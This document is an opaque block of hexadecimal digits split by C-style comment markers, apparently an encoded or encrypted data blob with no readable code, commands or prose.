cfe003c55e6332d25d1e84acc47ce90dc5c122ec9ab7a41e9d55e7b62f14c17cb0ff83e442ef7eca54e321e8a79cd0b66ce9b4976f891f6af9704e7534369f86852a5e2d3ad404dfb7358a9b774ed9dd325e8a4446744cd6f11fc81738279c5ee31fd1ffb23e5ef039ee1b96ed14eb4221f11335867c87d84c9cddbeaca6ccb260c27e9b73f898c2de961bc842c06954026f1765ea32eaa1e5eaf38a9840a669c36a116e900165585f1613165b50e3aa54e95b39ba17e22c18cd0fb7707a8873f9f6298d891523a91e38791f41453a31f51b00deb715da98d172d2d46b1ddab67a753a3d6e450d8eb569b6a7de9ebfca958c23f77915d6a5e4b97bca69c06b63896aff7b9ab8c37a37bf212b293d2e298fd1eebaf54cc1c49316125a7c1c8dde941f07628d4bfaee3022fe29e0100fffa6bc7086db53740a8b20898e0e4b0a815e3917c1ea44414ab4bfa9545c58bfdba40e9809509fb97ca231d1330dffb2cd451ecbca50f54ec4696717908acdbb6594f23a359756ecf7aa741604d9fb2d9b56544034c884d2425e2a953527b8e97cffb5b3fc2d8c2ee1a0375630eca03ba8802c3b10888f110d21c7138484e6e103a522a83f132206df3b1c71d6493258d4c4bf37952351a84cc8e767db044f5f33754e595df327772d2d01d51cd4fded27f1c2176f9735e37ab6b57989b053a0489e632a1f3eb172b136e58a7e4abfe2eb0ce0f8bf24bac9b5ea9e14145cb1afde99e36316ecf62649910d86911020663327f305348668119fc7a3fde364e2e52df4e5eb60e0332b75c26e0cfa60503c3902df0bfee1841edd29520f9eba0ed8734237599f8aa1f98cf4d2221058cf2efd44a010086d87147e0d96924dd35f2b5668fba5859e4ed86acc70a8ab6981afb2db399cb27e8db137f4cde1c682a0318a983365e839e6fdcc7380c075aae7be42154d645c6cb8d858eb5adb107b7c082a04f4e24e54a27aa45be58f09dafd36b550d404aab870c877de5bcaf0e4196b3138482c6b1b0eade923feb390f7cbf41ae3aa119b396c6a25000dd5d42dc005d0b8cc3069a3f6365925227c8bc76a992c8c4ceefdb13e61dd961738c66c105fec4aa8d150657cd497598ec54a688da34330c6bd5cd2b9340b4ed4bd6496f344c67685cbae1fcee5c7f0d04196170b9eef9cd828ccad158b5e1b12a835a776c812f4985934ea1e37303f316ca3f00e600c626898453e9b2714139ab6c8fa4ccaf3f1269fb39204d46afabced45751e1f3b438434088a63cbb4a9f07ac1c8977c192f28ced4d4df41a540ecac76c7a24e36e9e4*/
/*a6c091451aaa3afe63393ce35b6617e592d1d82f580791c12d7e10e6ab27718518bde20f0f399a89c44d3ce5ef8ba7a1c0ec08abb3a418adef6cd0cac1ec0f02ff5dc1a6a00006f224850717fe8e6e1da4b914f0420a529e83eefee93db133c9873174d11c79969e3f6cb2bd3fd84542fe06a4fad8e31fef254aa88dd821e780ca6da3351ef5d88080b181bdea73d24a889eb647db0e887bd97012f74cc822aa2c4a8893e8c6bfb66ccc25ce0d6c07e11dc278477550601ddb408fd800dc09e6ab4d27c159b27b005b59d3805445357699bbd7b7c3c87b70653b4b19cd0b29184f481c690c30e7745bb53043db3d1be67736024b9f26ea3bfab9cfd190393b64489a9acc6c89c46ef24343487dbfe4e066da05d916928d7cd6603a2b32f0a2add0786bfa0c191c432e7c73ee67ba287493c2b6b2d97e9df41d16abc7206e92c255c546101d2e977c9ce012be3a7a3f3479967e0a58dbd5907f98b78e44546933087580a58d3adea5b018b6627b63750969f4469851357b41e92a24122af9e0454c028910ee59300eed84a71ec17109170c544924268a2221c73e33102001f7ef5415963eb8a532dddf7024c337c71d9937f38b02c3b5f4f755d226380474859080154c28492f6f3b5308783176f8dfbdaa78a842ea1de2c044cc9a453ee49cdf0b3ed8ebdd435853e0bb4101169f1dd96d2daf92e45d9de4c194c13d05f89a41740eb0821088a933b6378045849366a786da26512d51c258e704fc7a9b3c4fec039c701153c977b211ec76cf39ace9b889b43386ac70f2e493f9d172399c2ad651621f9908c16118ba1a27026f48762efe9124f25decebfc6616d14c11e3203c9d8e6a429849ae4ff57e64e21d6e23d6cb6ff67b63447ae87e492f94cba60bd60e52c3e5c274cd94e1cf9822eda8ad325748a3d7a79af1936c2270d7fed36fd349add8b3f8b2ab2d9ae1ff5d05bfa58948ae78b2f58a0b37af5436e152d003cf5039647dc5fd4786686d2e47013f1f80ee76c782626efd05794e4ea51f6d4c175b5f8d6a12517dedb28391196722bd1de62c029fd6b5490e33fc86871a15932cddf7351545dc0705b39f2f8dd8465045c00ec18affec3659c8712833c2ac6480271927f429f5ac90219bee66467d31223b8a0bcfce50732717c9100682eda63b49402471ad1c60caf62c172e2bcb39b65893ce32ea0ccf5589d89b43ec3833cea020559d0368e434368c473cbfe79a65b5c467ef779f9be9a9f9459eb1049e05f3ea41e8fe7b4be8bbbcea9f30a54632d46187b4ef0ee71e6aed6bec825f30d20d102f1c6327b8304ccda811c3485ed18f8aeba8aed78213d47d1b2b909b8626e2390eec8c0e93fc65307a5e34e952003abf84c5cc0cc37a60757cd2d18ea94db6cf1d5e90280f0633d38d494a97f3a0bc603eefd0a652a86a7d0652981212384715ab1be9037f3579e678c3c716274e911e9632db6816a7dff7fc01973e7230538357a20174ba24b2b217ba157b569f056444a4096f71df88eb238d42f7136c49ab910c7c68c974ee34179577729b0d8df57dbc8a340693cd5c56d79f68334faa52b31fc4f5e1ca63426cbcca0975c3f5230bc155eaf973ceb39df4a45f5446872e945991c13cee17d9f0702f553087c3065d7830f245b59bb0aa5738f4654a2cd4eee2c78eb34345ea3995d45b39b268ed5fa5a52854310b5d17e3c095aaf2b868acd1f988760288d5c2aa8b89b6839531ffd2e257637afc19cd557c307df200ee6495f9f1ad3b76dd3ee34cb03747ffd1684438bb0715176739b92bad1043ee24e5345e2360353bedc258f6450373da0ded819d498cfbb81c3aee25993e26e96da97034de410726c010385513967b28faab03d7d3769d4d92b5d86d3c4a87f3416e3ac03ff0f6dddc9b35795af00e947ddf2b2b78c8946eb6827145c80b7b4e6040c04bd672b6ff6360ddd6abfa9c81041c43b85a15faa0c5300c76548184f78c86068a6067de6182176dc9b183577043ac955bdfbad9a5826c8cd1a2c099477bdc4370da2ba3e72d665579e03ba9abbcfe60f6fd03fcbb3b438b80fb64a448c248aea91d6de2d511539ba68f81a8d8ccd73f4eed535eb9bff2d9a561f5907ed08e1e312e290833a4997501f8b9ca27c822036d092e0d07fbc5b90fd73f5c828aa6b6a5415a2711adb27313e0a72fd44a9f22cf4acce8ae0b9e46eb5b7818a42b5f22084e2c8a215a3f83260a7d8a434af6f68af19962e607992b75a38c77be95dc4d7e431786a3be1a7358fcaa012e17517ba68198be5a79fda63ce51186503c0d1725f419105b56785a50134a552d6698d644614405e191a4dce21d62af8954c980201450f007915e802e6b09d0bf52456401543887beb81839eec65c9786bcb10db9e93604a0a3fa329f2f457998771ad724d2fd18f36927ebdbec72e5ff16ed6fcd8f3b59372b1e557efa142ed35238aa4c42ac51eb2276e6f1f592cba187581d91a0df6b575e0afd60a30d7fbbb30f22110cf4f844e8abe5031df85d92a31aa6af8f7f0c776ca341aedcdf7cdefa06a2d01456bbf3225e2633962b4a35b9af424f664453576aec722bdc145bc8fd779725a27a9b0ddb91965fc59f60bd7fabfa51aef17c1090e24ac5fd0611b85ee31a0bb575064af6feb0e04d6c516db673555f3a5876bcddfada9d4edfabc759ae6c8d3bb486b1dbd472cd455815161f136b8fc50e34b8c37d73b839555fd38881cdc4e576407ab9664e915fff5e3e20b1d9233a8f7e5e0e381d87b8d781642b40962120d83fbda31a181507e6076dd98265d05f5797074a3512af0a08af*/
/*65b300911e680a1474c3c3ea3cf0888bbb4325e7492e05405cfb12b5bc8790acd559d7b654e9ef55d921377d0249df15094b8571b4c188fd22d41fbd72ee14e5129fc10faa1564179f1b05f0a02cd2adb6ada52f466c67f04b7da81e1023fe2c5c47ec09be1d1504d3ba3b63e466b7f574fdbf655f4194669cae9e677ef946cf8829a40d212dedb6fc6e893d2b5f2e20c3c94572eac4c27085eb8bb3ef69050b644e7de79d7596d98a456e63a92016248ade3bf503e5cd3139278be2a62b1ff8389749089285b604d5df303a3b551f2a6127d0a77b005d7b3ea2d8afdeb71b26e604c30b3108ce82b2f2bbc946aa6720bbda6319443d7bae99b16592bb0a10cac57759d2ee43465613a81617a424a6008e52fc0dd5b68755bc871e632786579eff3b0537974ba15e1a05b55b63fc235292465f8b09e001442ad0e0fbc62a5e6b3c021d16827c820ea5b63e8442aecd80ca6a310d911c9431f99a6dea14f46e26e08e17831873a08489941382f09d949469a0b77865585f6842fd92df2ecb6ad89d6cb230ffd0ac6f2c89736882fc21a4948d0649b82d140f6b132edd950fb40913045797b3191bce8869b26819e0bfb320017324bc73e12b58830a30522139f1d62227f6ecc847cb6bd05a4fc238062864e877949e0c11279e16833d8157cd2823c4b35f626bdda0c70333629e919054bf6b90e524bf519844361a4c839afb5ce59704cf8740676c815a69e8230b1e945118f8161994a042f77d67338c514d8f91e2fe399e8819fb796b9e4068f0e96f8853d51bb9e36bfe26afd84f46b438a30ab7c059edd7b4e6a96ed83dc8566e32de8c3048eb00dbc3467dd161150a456016470d4733a847ad97486d6ff77ae6b9f058c4f74a12cc19cbe5f4b977fa7106501f0dc1389bc6f4e79ca471648e6ae5d73172cd30fb885c78c674c777ec9864bc32e63a9b570cd4d5f599a3c31d6ae18e3288dcaf46a1d04144487ad4d597f1b83553e5d102eb2a4180e1723ae295ce60a52847aa1ecffea54595c7fc72d19bf887db1f021a08d117d0e29f4bc1ba42db9ffc92ae216580923df144bb29f27df72dff1dbc88e64b6432f08f6c21d78370fbf0ba5d110af3d1c3012486db525b922be80aa21069e113d0db23b5205f4fae248fc1784b18e09f250bcf8f9d13ed559e03d9e358d16827844ab00224c84354e9d6f74a3160862feccc7ad4cf74eabaf1351f7f4e8809d23c5a356b59be40a611228e364f0cd82c265feb10ecab223201d408dbb56a2041b1c95f46091c474dc88ad0bc5d6dc2d9fad7053a51ebfbb49b7347fe2b4a9f6bfc758c2e2d8a39b875123ca8bd63469ac1dbebbf1ad07c198116c5b087f7674c9820fe15cd5a081647ce66c637c1b5909e18384f7da37bbd71b45719398677c0a0f5b4e106bbabfc8ecaa340f8ab820376c2d16c0093257669628f2c9e3121dd19d99a42821cb177e1182a39dd55ab52bce3cefdb168d3bb6cc975e52a1ebc53117d8798a99f82dce29a05ea8a731bfcd643080fe92580a005bf731eafec5ca6c9eb8ae1ce404462e2abd4597b2250bc6a5dfc331f1879ef3ed04cf47287a25ad4a7e915250c999f84329f9e88338746dccbe6a490a85f783cbccc5265637efeb72c2ac839f9c21b940a73d389e407b61f9aa888391280d01c4e07a049955cbdace8bacdfca4aa9c425a98a351bf86dcd269a6fa6c8b2128810ac73d4edb069a83e6d9ce755a92bc160bc872996d9663328cced78b92a9474f86bfe2eb8e1ae919b3bcd9617fcad92f5227599a5aa198ffe9389d109d5fa246cb3b012cba9232e4c6d718cdac553bbddc72b2afcf7a90bff5768d15109f44bbcebd5c68df0a4ca927c03475a988b6229f8c1c4c838a769b0a5b79b872dfc46c63540f200b062eca1e724942e61a4c0b382c4fa6045275a0a60a9f076b6fb90c06fa4abeedc749aec45c5f9c544909e9c5fb183af325dff7e1d7dd439b4ab676363326e64019ea5a3d77de2c79c9261c6a4f5ea710fcaa1b5685f8a0f9b1cc39115d03bcdfefa7969c71c5c739853261e29a4436bb67333d5c7d1fb12bf6698e4b60fb58fb7ca11b326c7e8cdc708a0cd2020e9085a6fce636ed181ac31766dacbac4ce33f7f84d116d9ab7df76b1a9d6bce750abed9ffc54d49653b25485b6a54d1e7530c94593cd162fbbd23e84f120d91277d05ce29eae25123a325fb651bde541e45e0fc6d4976fe0dfe216898379a02b6691e0644b1300537096fd6e5acc238db3d937e08423c8a47dccd6acbf20ceffdad830daf28d1eaec51c290deb5f12758140b2e4aea99735a512e7fe546bddba3e8c1836c7b274cd0fedced393ec1f4e80a5b4d399c23c265857870711c1197fd8a10e2b9909711c71076ec2adac615f973c25f4167302f658cb6b9b99d1c27b88464282dd7a72e1f272c4855912006627b5282322c39905d168a2384dda52fd3d56f86780669228323bfc00042f29ba9a4fae8ac91f293db0cec12c0954bda9d24df8678bc189ef738052358a727a5ef6252ed26b5554e375681cc36f31de4ff376a40ccb6ceb7514cab87d6e7e188ac33d782d21c235224eef9888c10eec9e8a53c0e9be133554bf6d2dc178f4bd0d8a728e651f0cf0c02b5fb894fc9e188d64b1fc1ad62c19eb34cf2caec40029a112df89f62d1de4a81e6f3a562c27a67a7243a8e3d6a4184acf004d5753e8feb33cdf8a1129e0d83535330a1dccb2ea759b5edf246a4b0769928b6164087cf7af536e36c8ec911b80d3f4f341f3aca8fd2bca0bd356d963f57a0b4a74ae9cf022c48600ccb3f87cc4ad0747a*/
/*49295d48c7142e974199a3dd113f175eead9ee38e2dc80b615ebdd19614d7f573898cc1844686b8e9e2865c317b64ce7b5f7b0a9ad0839d1668d8f15456857e7d9c1d39a7c74cacfa2e15a12b10b835dfa833aa1da280d5070a440afef82617eb1a1ab4c479a090895754da8a4cf91886699c9e7586eb67cf891fa4c7f50268f53efac8522ec2b5e35c79c10c955392fdfd32e005a5fa7c0c6d50098a220fc2189546ed70bb6fcde18195eb3f30f9f633685e84e8c55c8d09000315569caf92343733bf59d9e3dbeeda772ae4fc25ca982bc601b667dbccf1307b20c0da5d4f69f1ada90841ce2b5c1fae3b86b7f8ba1e1825c32ef872f4d6c707f6a0b716c00cae508ce04d8766b1590fb16596302ba3a7930cbfc605e29d13b4ee5571d0e7c180f857c53f1c59d8a2d59b0cadb18bac8898e3e4d8f74ca9b648e6408f03979ce4f54c4c752a1f3a8966d7f111cebac7572a38507b5eda7fefe74b90d7e409fd3fb0a013d10ce91b8aac21cf70bdcb52fa7d53d18cedf5dd50f8d27dfa9cd3127e61ebf72eb9655e0ea22fa36c4a0e3a0883dce03c813edcdce523653f02a8fc09fc58c7e27964c57f5c6853634408374bfb3c0d83a8088f1c73890a55e14f65ed62046b394a8dc62f9319bd462d71ee016b32a03b0e049a70799c6c0bbfddf73b0e62bfb65ae94c7499aa2670583fdf99e83de608d179341362ff635c0d2d7bedf7387f3149d9b5fecc80fc2ac9a79682111a02b0df8ffa4314cd93e4c5eff002f272b2c9639abc47d0b4fa62ace334178d1d95fee8407c33eb6045ad5bc5d2422545db8f46c6b9c717423c0d0b9b3c31f9e85615073fad5b3ddc409fba42d67cae1985485739ccdeede09ca2ef91e48fad5052bedf9cfe5c03b42e462055e0e45570ec04dbcf75058029bf0827cb1e749444ff090e73f3b3ef8cad2ea4c7361504a814d14394acab86f328109d281b3b7562b44c212b40414307455b49ac6e5cc2326a1c2aa1ea240c10b054f2f406da3de82bf425d1acdb1a31ed404b73eb525f5f057650cc90b88945e98dd8c6e640b58e95a95765892e9e7ff828a88d73e6f5ae549adbc7344242f5d7756f3014f5da43b5f5464c7ac9ecb408138088ecfe3bcc68693f72795751a4dcd60bd7c7932ae73bc52a095192ac97b30d5c3c20908e3e0066c3634558b8fe2b78e415c92760ff3896e7bb02a2818d1f0268d4f6f6ca8bbff697a51573a83737b5f1827ac31e50162e19fa3572e290f1b1e58a4d7da92845311e4bdbdcabd85f381b8fe43d2fee06dae641be163b47732fab1f9937985accb768ec6e7addb6444fbbebba7f5d4632cad25804d4f3db577459ff930ba33a080d47ce99c2ade77d18ea4dd59189d347335225b09748c4748886c970c94e14f4579305fa28a52e78881d7936d91e4094136f8c10d2a8c4bf8cb76e01727a98ddb1736386926deb84750f7b2039fee2a783f0452fbd9c5c95386be21b950864634d1b33e1162a6f2051dcf8be7902519ec15a0139e6579b7bda0a6165262afec1fa6e01a8c384a5f2d16b94105dbeaf726199e47edb511e8f827fec28ea8fe72d841b8b02383e0fa16d7d2b40e77b39892df8378cc660bc70aabc31e98c7aa04c00e3e5a162f9375fe9a012313d0b321d426baafed63c316723872c3fa815f479344699fca59b3141128f78a985d4e5ba943c38936272da2cbda9d9a5c9f69d4dded122ac8d41972b615b8d5e4a3584ab3d7279c62fc092d1cfcc43283c2f32e13dc59abae0c2574ace10500e0088d70d53aa159a3c95af90e8e0065f5d5400f964e56a06228dc30120829242756dbb6d1ecb0a032f1417dc9cb1c79d6785dc01d26a6a3fb19dbb674f392517accda92fbefb8c691867e26e205a67d0af7305aacd6f9ed7215fe7e57eb31c85f6764a7b3576d84df6c02d55b81fe7ebb58cb990676fbcd43b6d4f0b9fc54d4b4daabb90d5a900de83dbebbac899341c2f88a60045cb504279a5713e4bac17da8c6554c3bcab0b062d16425110e5691e8046c0e018824a5ac1a02f66e2de297a55cfcbb1d8b528a38764478c2e8f9c60ea77ce1c5516ba645946bb643a811854f2788215d344abc25f6e4158b8ebf62a24366c99f0a5514bb09520de0ded30dd912731a003d6770c5bc1d25c061e82e1ec2c81e1e56f85714fa316876723520b3caf16472a88731f1f9f617a2c97b13f3b913b970d9baa6fd061cd40374f8a8afa9e6e43e5a81bc967e462d166ea26735738fbae703e1ec7a6776c9a383ab7e618912626a05ea30c0dece2a74806478683c1aa8ec6c957600178beb4316f60d3a31b5448618e34f86518be197c70b43a89a3dfdf1fc4671536af106f066c46418f687ea454a45dffb0b2adafdc898327bc9d8e6fda22c9919edcba7aabee73f6e98b12ad55be6bc708b92e3b105b1f581e206f175724b6b3022af57f5b36aff1d63760526018427a66d75923ef05ed3a2272cf5904e2386323269ecbc21ec2826b4a280a576503201ba50d43dd29b0c7e3d2ba9b22224df5dfdc9d840679a3e4b1d7ac08ce11745397ff134a2a508b48ee0d6eba4afbffd0f2e3c1c22c232ed17eb18258dcdf8e94995b3be374930531d15dc4bc457e95c84d67c565f7a2be082017333f170e43fc8f6efd3c96ca0ba838e76dfe1282f01e55966e2ed7be49b757319abea0e2482652c4b285869eb5fe3d3aeca0b3cb086390a6302c71959a9aab1b01b7a8bb8e1a4c5a976bd7026529088addc2a7da99ec518639ec6e5cae99dfc7a18394a15bcda51d4d5f4a845476de2830487f004a9873c6284649433d7*/
/*42fb6426cb95af91a292534eee0325d9e2896e6154d7f1122a60a991c8a147d0a967e363b487cdceac6b8d6d3e5489f999a3d04ffc09ba90d82455c48cc18322c402da1e0d8c52d4f4e8d7f9cf46f5d75fabfb5ac7cd61a36f124bc93e8da709dc6254371bc024ccf3eb4afb82821f8487f00e48fe6870c69b6cc076f1bf7502fa6449c8197251fe18e5c67ba1d5e7e0a9548e9201f51df02b03e6c57c0e49fa71c8b290bca988ae6859accddc1484cb0b83e3ae4fe563d05bb7071cb64c4a4e75d73b2bab1ac8ea4c66f20442a93320d6ccec4f3e22b61db1a40cdef2dfdab5a90a7e310a360e4722092e6018fe3e1b80d2ba5ad67711c8f97c3e6f98b31dbf8f751341bd9cc504e6f651184511c623bab1bcfe228cdde815e15bc186eadbe993106092ac56468980f392f7c682281735661fe67a944a4863f4f8ef0ec0bffa6bcd816ed8d1fed2a63a8ebfac6e2629e923d3b6de055d1f8a54fa205433e38fb45530edfa094b545dd29a167a6859b649af4e72c121643f51c80becda0d05b9ab183a25019470f53b9f081d31970faaba825c4a7b085e04c37e29948c297ed8153cec4053e9b7b237a1508315267f088fe9ec7823dc0be3ea824ab1beceefa9e97851023bccf35edd557f4aed8f211aa619e936003cac452ca330b37f5972e4a4d89fb182bfdbb371572f0db686f0e87238c9556bfddeebc6fa858e7e3a21b4bb8a7a7963adcbf9741b9fa628f554b4dc663ab34be4b02736f748e6c089e78bc74c1f023eeba47e0542babc7d00a5b06995b46ff15a83c68d32631304acc9e8c2f1733657e6f40bdd6caf237a406fcc705800106bcd6ef728dea9a0f7d6b2f6c986ca6fb9a673a78c3d1603d2b67db6bcfd994b72093feb6ab08d66ef9b694fde96dc3a9ba3ce395cefe1dcdbd69aef4f6a5aa5649de873beb40bf281b1b6f7c3a902eea6a3ddaf0fb693c4d2467575a10a6d160e58f5a976dfef24c61063497d152a6ae3c16a7605da78a38a309191c727641f2541380b65ab9eb0e0fcdc42ba9ccac6f5fe814f84521711c43ec9161650a5e633cdc7bbf130e19d6851c557035c54bb61f771a8372992675ba0ac126e8bbca40684b7599941981e2f8bc10231e349193ff1bd19f4664e8a7abfe9cfc693b110737bd1fe48b4f0e074a3a3bde6d407e95343603766148219cbd7fb0e920edd898bb7629e67d24e4ad85e4876f915543bff950867bdefbbab78120f3c3345495c57b698f6bf4b482025c0bba2ded821143e062dfe4925a296cc57c3cd5cbeb0d4a0d0ac5c86b91570e423f3450aa618bc64653637253b3a3d3434ab4291d5d3c9187cb6b01bc19a3a4cd61920b26288f4c5180c8f241f27906be531cab70b3fe5d4086c28978405bd89d549365597af08333e20b1dd9591295da8744e38965d2ec18979027edc5bdd6dd36853b1ab767b7f7d11561a1eb4fd85e55e12d40071cbaca589efa7fd888d33d9f994dae2f72ce32173e020993448a4995651ca8b994d7d6fbe5ee8f22e355dfc2373c4756d221167bfbccad9ac39c5872ba453cc92d19fcd17917bd94222dec859ab7012eab25ff8cf54351550b73666eede60aa385d740b9412c17a65d94ccd5deae87dd608a20a307d3f6601f963d87dfc1a23a9162806157f4368a19b98e6fd2a7ad22525154f518829d678325fbdfed1ac842f511e970a1f322b4ec83ef8787396980aa3d7d4d67d5c9cf4be479389622fe06faea127767b1a0e985195316480b5cb4c5a5a8a8fa8c9f3543886835ddf3b5222792b25a9978ffa3a0ab41621d7853a47cbede34698fe4f86e34ff0284bdf16eae7d2e60724f0ac5bfd78e1b822c1915c1f51f551503442e52f030f8fb6413ca4c489aa5691ed8971959fe7ef0d3b2914fffeaa220d7095079da068b41b9496b8728fa07e9e58e17d2cffc110d9381cc487bc5c2b83a0387e68b5ee83817bd19e904dddd54ec044661bee8ff73aa999d45d13822c305d1473392dd8ff6e9bec5119a96d6bc8a78f3f964363deec45adac64767ece4ab41818092067ecba2442e2754dd2d9059d56d9454ce5da01a82f1256aa237c9e81326982393ca077c9d0128cd58f759f98d135df2918fad9ff0ee934bf9c1bb129edb1d29bd8fa2bc10d002bb7d5bbf32ade0d07cb3ebcdfaf3d625d26b11066a0297e4eeee4b97e57fc1443b83ae3f2f7bc8faae29a0e60206ece402e2fe4e2c1074cb0beabe7a42c894c089c9486bcf6da418713545b32e074d899b9c52124f4f2b700fbed71913e9f3e592498b31ebcce6dd25ff460bcd7c661a976819fd2911b1607639a15bf825628953146ef8c0a5f432089c6923dce6c4b0798f2e0f45c08e33acbe448d6698e33a856217601f4e6a23e26d6bcb03f5cc5dc41e8ec2aa389331fc6f5c3d5de4ccf94d84fd2bc765dd52e29ab40841ca990663e1eefdb36f3b995d0cc2f2178763fa39af1982c39515ab89021bf395d1739e55e91c2dd464c7c944143a823a2812827f34b755829ed35104d14c3590750394650da9ea9426585516b81bd58c56b3fd8a06b7ef894d93d2996cc1c8c6166799f26f37bdfbce8469f0fe2cc9fabca63f57e94471b8309e46761f9b621ad75dacf6e8aa2faa31c3d5bd1543bc5ddb8a40f36f508bdf0b83f98136cab18b02abafdbbf54133238822fb66232a28c78c3014d7ef80b10e34d0c86b4848ffb0974464f3c1ef451cef0e7fa2f6d6724c747ab6cd87af51f539a92ccae92936e494720735e769cf0e9d44998c0783d1628e9000e186739ab4f3e77f8e5deb7a2089c4662fc7b5b97c85ffa920fe8203*/
/*20a8c05ab6883681faf236bf9fc1ac9dfc12ad15b0116ad15fd2530d54da3d91b462d076a701906376f401a6de31cb8d0cb3b694a4316a3009cf918846d7f3f52bfd607c690e269daa683563129e0ebb75610093caf314a9cbd49d9f38d9d6cc4596c589cd66b1e1449665280888b205848776975902a2f5fadfe028b6732213c0574f7f9fca4c9db047a4a9d9043ff2ba7a39eb3048e4bc8193625ce43d1989f2077500a9d2f020c2c29db9b2dca10deda267a75b897c069066e2e01a0325500dba12f42e37ddd6649077066ba37c1d3c8d5e9b958911ad6936356fba2248fe604ce80a41b9232eede372680b1213e3fc08bd1044bad3a4b909fe3d03f662ab23ea5a5f4340e9abea75451dfbc75856c9709095f7a874c2770bf2e0059a2b1bb7022c0801f26aa509d5ae0ebe648ae54d91dcb5ff82c1f219bf19400640d81e4189cd26258769a06276cf99f8061ed9e9828fb36398c1f024703e3ecfc48e97b372b2529196aad744650abd2f05d1479a6fbe8861c23e11994cb216e0263327df2e7038318a9c0eec94bfb9940da805b6056ae59afac39b8f3a1e6eea32ffb41b195a48eee76bdbde4773bffd3068227df6f59e337c77692951954764ddb7ca834ec0655feb220a52b3d41aa11497f6fce7ea2a5449e062d1e7fff7397e615005810371126a86c528d99cc0f821f63877ce8a28a9befcf364624a0f0d6140eb48ca947d3494e74226bb6ccf56c30d414ab48ae24c7fe576bfcfb4d84cf52ddefe7e67e986a36eb1bad313b1565e88a97ac9a7ebafdbea81bdccf66063d1e8459abfc294c0e78c7698109763490680414b3984d167894ba92cb165ce2bad8757c7fed5bf4508a6a0bfac75f04339aacecede40c4f3eed5a5da6140753c7f30d73feb75713ab0b7b4583cb29964b335cda50f05eb4b1bfd8a15636a86fe1eaace6698dd90129013ffa4d554c3d7daf5305b6399309cfa648b7240deb7821b771e9d2605d8b62cf0f27a2ecada17e3bdb70ba8b7aee4cc1a97be28013f83b00dba6bcdd716f79c361f3f4d0961fed1c62fe34b1825201ab2e28d3c1e477ab9e1f2471645feb839b991ea1cf4d8e8c9c8cb1c8c028e12dd39507c3acb417fb873f0cbd68aea7eb42516cc658aa1c886569f374e2c80d8ee9d511552152cd6bb487f89c9b5c5117f84654dd295263cba8099dc7d57950ba6b910221b409624fe33708ef65073a1cbf96b44ecc50683d463c2a01943e3cc8cba4c559f0832a2b4c5bd9eb6c770664edea7bce7dce1fa2e9aa7aa98724cfa0b6d5171c039a5cb4c6332adbc8cef1675835afebb3b47ab4ad0ab2c295e60101487fc991bdf857c9b2aa434825190a4236e6c4473ef8493611236b768b31cd844d6b6250d92ec39fed8c5b5eb88319b1e5530c236fb6ed29a9f6f106f6e21e36eb952335f5ebb742acef72951bdf564ac69eba0dfd8bba447d1bdf1604c19b7b4bf897d01f5696ea47f07e563c3a5c6ca6b2a75087a99a7bc28ae1ae80b2b607412b9691391a37a748ed7b03e37477770d1f306253596dd22d3c0cf31fdebc664044168555876a6ff9226c24f21af636d5040f4ff792637acbc2980d90f04390dcfc7a5db64617cb9f4f30c74454e8d4065222b8f960c92aed59db689e5ed389a656063ca09014b18371333eeb70c6d6db25c39c456915ee527a3c29b712010d11f85e3e7f8b467f2ed89edb1275993aa09ac1c3d1c80f970b59c0b2ef7cc6cacc3353c086fbf4c954306b376ea9cc14cff9b35382bab419d312366a7643d9fa51c73bbebcb777abe585bb79357f6cded0fa64470877c7d1fe5cf4f0ab2d53e9c30ebeb19eb96caad3e576aee4e6209267362f94d86c95f474408f5d4201698bb646bb9f6366619a374c34699326fbbe349c3206ae4932680ff43136abb8af3aa8eafc52a3872b2d5d8193eea605761de3207f6e2f39094675b3313fa702257129d767faaf11ce473c116a274705288efecbc6c1fd6720cb1fc25f014e58cb61befd781dbed253c489c4f66d78cdc8c5a0718c0b7e90b40d7ef63e88c80a796ce5f7c5ea259283f50f572bca528e00394a77d9f8df0e4f335d1de4509fd1a25850eaa52c8a42860ad71542a9619eb73fa0cacbe21f0bf9f7366628b0a0d9bf2ce467112c69be7378b6570015b3353a39ba66c8ef5bb1680da346c2b4eb4e7bcec3ce8a7447ea6616a61c247adce9a5b0f68353beb01ba306e63cba1bcdac9e5eb5c88c847681d13f9c11161ec3d9aa948606cb83efd0486e3f395a3672d823d6f34aa5e80451f7b2e0c093b08871d62310b1a08e3fbbff204695a6512d3aefb67431818244e4bc64650ed13e23cf1917a87c3095921435bb52e1dcae059546a4ad8bdd3901c7ce4555ed383874f3f819a3832dbecee8fc73aa7f33df9ba666f9e1c8c0d5be4c63f5271121d46393cd4da275983767f9779635d16b5c778c92131896e59288848b7cbe8dd82e984d4f27e2f29d1056cbd547b6f6b5dc291d73059ef3ee35b82a807991b889835d052bf301563c270c8868082595a838ea209b67720813b47e9fcf942d57045d6e74b3e524e5071c1f6329bcfb4469924ae312a450c992e733a17d135973bf11bb5b2ed83dc9b5398e144c8ef05d5fca0876d1381ac7581019abb7480c894cb574f3a74eaa403ecd570d3fd5b6fa2c3bd34d1c1b78810186846258dbdd48e9780739645a20530e571cf729047f9b4b2c3af9958d164a8ab5d9dc5a93308bb5c90dc1474928e4b6fa5a3d0a6f96d4fd620c3bd96ca7972c97319dad97ef9c65be19986316d4a6af6dc1af3e5e9039b*/
/*a7362a206e7cd251d1b7eaeab3efa55529789ad85d5dab406122c9b6ac5b1b4710b35a75cf3ea081419b95b6d9f7ac92676f4c6358dc39a71a41c64ecada5f8e5722594eb3ee2d34fb3e0d6122dcca5590761197c3715067c775b50de1c944d0640456486e964e405e0df6c93914660f0a0272bc6e5444baac682088933e68f29bc2ee6f418828c5083b51af4c30d6095b8a4707fd9198040a963386cd2310bb5d0522b4385dd0eb21b5e0301cc9c6231e210c78907d278658976719dca6f090f53ff65f3ab02abd63ff8f8baf2ebdb0158e7fd5ca3e4dfa20eeb8e4dec0a4cedfec1069a28c2e7e6ab26d0c9d0777b4065fc0856d2a0df868f1242ac79c50e13db67c3ae309cabc0fe94b6d3d50eaf17de22c0350cac5694ecd67c6eb639816112d633d6cc515854dd184bf99dac53c4ae4b90b7007efb9da7aac762b77ce3db69f52e88bf8b6aa97f3d57e590c458c4c84e80c21a4287ba0f36b0d1f005fe539e94cc6a35ed52ba79e62dd17e8ec8279c8b57383eb191ebfa403dceda82aaae5c554670583385ce3af9f86a851680c9e90fa02377fd69284f8194ce792cc2028fd2622f06d0f38c8ddb15d8283b14108280c63f66890849e64f54c2a8b3156cf627e1e78eecec41b0311334107aa590aac6d30d6dce3e9d96d80ceac3a1fc07c26246efed5b9874586cf694cc534d0d692c68a441657293400544f9cfda715eee630b3d5071ef0ea8ea6e2cd4b237fd2590c661d6b1e6f0825a1b364715b8c5060dfd7b0712e6902